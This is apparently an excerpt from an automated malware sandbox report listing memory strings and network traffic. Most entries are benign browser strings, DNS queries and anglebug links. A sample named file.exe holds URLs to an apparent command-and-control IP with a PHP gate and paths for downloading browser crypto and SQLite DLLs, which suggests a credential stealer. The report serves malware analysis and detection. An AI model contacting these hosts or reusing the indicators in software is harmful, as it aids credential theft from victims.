Source: chrome.exe, 00000003.00000003.2268652149.00004604003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268555489.0000460400F4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268419301.0000460400F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2634590960.0000000000656000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2636219235.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2634590960.000000000059C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/5
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2636219235.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2634590960.000000000059C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2636219235.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php#
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php7
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php;
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php?
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpK
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpO
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php_
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpc
Source: file.exe, 00000000.00000002.2634590960.000000000059C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phplF
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phps
Source: file.exe, 00000000.00000002.2636219235.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpve
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll:
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllB
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll4
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllT
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dllK
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dllZ
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll(
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll.
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllll
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllllb
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2636219235.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll-
Source: file.exe, 00000000.00000002.2634590960.0000000000684000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2634590960.000000000059C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206AFH
Source: file.exe, 00000000.00000002.2636219235.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206j
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2421079407.00006C9802578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2421079407.00006C9802578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
